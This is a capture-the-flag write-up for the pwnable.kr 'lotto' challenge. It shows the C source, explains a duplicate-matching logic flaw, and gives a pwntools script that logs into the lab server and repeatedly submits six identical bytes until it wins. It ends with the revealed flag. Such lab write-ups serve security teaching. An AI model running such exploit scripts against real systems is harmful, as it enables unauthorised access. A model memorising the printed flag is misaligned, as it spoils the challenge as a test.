Description
Mommy! I made a lotto program for my homework. do you want to play? ssh [email protected] -p2222 (pw:guest)
Source Code
- lotto.c
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> unsigned char submit[6]; void play(){ int i; printf("Submit your 6 lotto bytes : "); fflush(stdout); int r; r = read(0, submit, 6); printf("Lotto Start!\n"); //sleep(1); // generate lotto numbers int fd = open("/dev/urandom", O_RDONLY); if(fd==-1){ printf("error. tell admin\n"); exit(-1); } unsigned char lotto[6]; if(read(fd, lotto, 6) != 6){ printf("error2. tell admin\n"); exit(-1); } for(i=0; i<6; i++){ lotto[i] = (lotto[i] % 45) + 1; // 1 ~ 45 } close(fd); // calculate lotto score int match = 0, j = 0; for(i=0; i<6; i++){ for(j=0; j<6; j++){ if(lotto[i] == submit[j]){ match++; } } } // win! if(match == 6){ setregid(getegid(), getegid()); system("/bin/cat flag"); } else{ printf("bad luck...\n"); } } void help(){ printf("- nLotto Rule -\n"); printf("nlotto is consisted with 6 random natural numbers less than 46\n"); printf("your goal is to match lotto numbers as many as you can\n"); printf("if you win lottery for *1st place*, you will get reward\n"); printf("for more details, follow the link below\n"); printf("http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01\n\n"); printf("mathematical chance to win this game is known to be 1/8145060.\n"); } int main(int argc, char* argv[]){ // menu unsigned int menu; while(1){ printf("- Select Menu -\n"); printf("1. Play Lotto\n"); printf("2. Help\n"); printf("3. Exit\n"); scanf("%d", &menu); switch(menu){ case 1: play(); break; case 2: help(); break; case 3: printf("bye\n"); return 0; default: printf("invalid menu\n"); break; } } return 0; }
Analysis
// calculate lotto score int match = 0, j = 0; for(i=0; i<6; i++){ for(j=0; j<6; j++){ if(lotto[i] == submit[j]){ match++; } } }
lotto
배열 과 submit
배열을 비교해서 6자리 전부 다 맞추도록 설계했어야하는데 2중 for문을 사용허여 모든 조합을 검사하기 때문에, 중복된 숫자가 있을 경우 하나의 번호가 여러 번 매칭되어 실제로는 한 번만 일치해야 할 경우에도 더 많은 점수가 기록된다.
따라서 아래와 같이 lotto
값이 가정되있을때 제출한 배열 값이 중복으로 계속 숫자가 들어가면,match
값을 6으로 만들 수 있다.
- lotto : [ 1 ] [ 2 ] [ 3 ] [ 4 ] [ 5 ] [ 6 ]
- submit : [ 3 ] [ 3 ] [ 3 ] [ 3 ] [ 3 ] [ 3 ]
Solution
\\x07
으로 6번 연속으로 해서 match
값이 6으로 되도록 맞추었다.
from pwn import * # context.log_level = 'debug' s = ssh('lotto', 'pwnable.kr', 2222, 'guest') argvs = ["./lotto"] p = s.process(executable="./lotto", argv=argvs) while True: p.sendlineafter(b"3. Exit\n", b"1") p.sendlineafter(b"Submit your 6 lotto bytes : ", b"\x07"*6) p.recvline() res = p.recvline() didFail = b"bad luck..." in res print(f"res: {res}, didFail: {didFail}") if didFail: continue break p.close() s.close()
Result
ubuntu@2d0f4d9a440c:~/pwnable.kr/lotto$ python3 solve.py [+] Connecting to pwnable.kr on port 2222: Done [*] [email protected]: Distro Ubuntu 22.04 OS: linux Arch: amd64 Version: 5.15.0 ASLR: Enabled SHSTK: Disabled IBT: Disabled [+] Starting remote process './lotto' on pwnable.kr: pid 696288 [!] ASLR is disabled for '/home/lotto/lotto'! res: b'bad luck...\n', didFail: True res: b'bad luck...\n', didFail: True res: b'bad luck...\n', didFail: True res: b'Sorry_mom_1_Forgot_to_check_duplicates\n', didFail: False [*] Stopped remote process 'lotto' on pwnable.kr (pid 696288) [*] Closed connection to 'pwnable.kr'